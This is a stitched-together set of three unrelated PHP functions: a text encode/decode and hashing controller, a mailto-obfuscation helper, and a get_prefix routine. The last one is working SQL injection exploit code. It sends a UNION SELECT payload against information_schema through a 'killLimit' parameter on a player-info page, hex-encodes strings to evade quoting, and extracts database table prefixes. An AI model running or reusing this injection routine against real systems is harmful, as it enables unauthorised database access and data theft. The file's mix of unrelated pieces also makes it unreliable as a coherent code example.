public function translate() { $text = Input::get('text', ''); // decode stuff if (Input::has('binary')) { $text = binary_decode(Input::get('binary')); } if (Input::has('hex')) { $text = hex_decode(Input::get('hex')); } if (Input::has('base64')) { $text = base64_decode(chunk_split(Input::get('base64'))); } if (Input::has('char')) { $text = char_decode(Input::get('char')); } if (Input::has('url')) { $text = urldecode(Input::get('url')); } if (Input::has('html')) { $text = html_entity_decode(Input::get('html')); } if (Input::has('url_html')) { $text = urldecode(html_entity_decode(Input::get('url_html'))); } if (Input::has('morse')) { $text = (new MorseCode())->fromMorse(strtr(Input::get('morse'), ['·' => '.', '⋅' => '.', '−' => '-', '–' => '-'])); } // create checksum output $checksum_output = ''; $checksum_output .= sprintf('%-12s%s', 'CRYPT:', crypt($text, '')) . PHP_EOL; $checksum_output .= sprintf('%-12s%s', 'BCRYPT:', password_hash($text, PASSWORD_BCRYPT)) . PHP_EOL; $checksum_output .= PHP_EOL; $checksums = checksums($text); foreach ($checksums as $key => $value) { $checksum_output .= sprintf('%-12s%s', strtoupper($key . ':'), $value) . PHP_EOL; } $data = ['text' => $text, 'binary' => binary_encode($text), 'hex' => hex_encode($text), 'base64' => base64_encode($text), 'char' => char_encode($text), 'url' => urlencode($text), 'html' => str_replace('&', '&', htmlentities($text)), 'url_html' => htmlentities(urlencode($text)), 'xml' => xml_beautifier($text), 'json' => json_beautifier($text), 'morse' => (new MorseCode())->toMorse($text), 'checksum' => trim($checksum_output), 'short_url' => '']; return view('page.home', $data); }
function mailto($email, $size, $font, $color, $bgcolor) { $address = explode("@", $email, 2); $account = $address[0] . "@"; $domain = $address[1]; $hemail = hex_encode($email); $aemail = ascii_encode($email); $pathfile = DIR_HTTP_INCLUDES . "textimage.php"; $output = <<<EOT <script language="javascript"> <!-- var Domain = "{$domain}"; var Mailme = "mail" + "to:" + "{$account}" + Domain; document.write("<a href=\\"#\\" onclick=\\"parent.location=Mailme\\"><img src=\\"textimage.php?text={$hemail}&size={$size}&font={$font}&color={$color}&bgcolor={$bgcolor}\\" border=0 alt=\\"{$aemail}\\" /></a>"); // --> </script> <noscript> <img src="{$pathfile}?text={$hemail}&size={$size}&font={$font}&color={$color}&bgcolor={$bgcolor}" border=0 alt="{$aemail}" /> </noscript> EOT; return $output; }
function get_prefix($attack) { $prefix = false; $http = new http(); //hex_encode is used instead of quote marks $payload = "killLimit=1000%20union%20select%20TABLE_NAME,TABLE_SCHEMA,1,1,1%20from%20information_schema.TABLES%20WHERE%20TABLE_NAME%20LIKE%20" . hex_encode("%events_playerplayeractions") . "%23"; $resp = $http->post($attack . "?mode=playerinfo&player=1", '', $payload); $mid = explode('events_playerplayeractions', $resp); if (is_array($mid)) { foreach ($mid as $m) { $pre = explode('>', $m); $fix = array_pop($pre); if (is_array($prefix)) { if (!in_array($fix, $prefix)) { $prefix[] = trim($fix); } } else { if ($prefix != $fix) { print $fix; $prefix[] = trim($fix); } } } if (is_array($prefix)) { $v = array_pop($prefix); if (trim($v) != '0') { //damn that zero!! array_push($prefix, $v); } } } else { $prefix = false; } return $prefix; }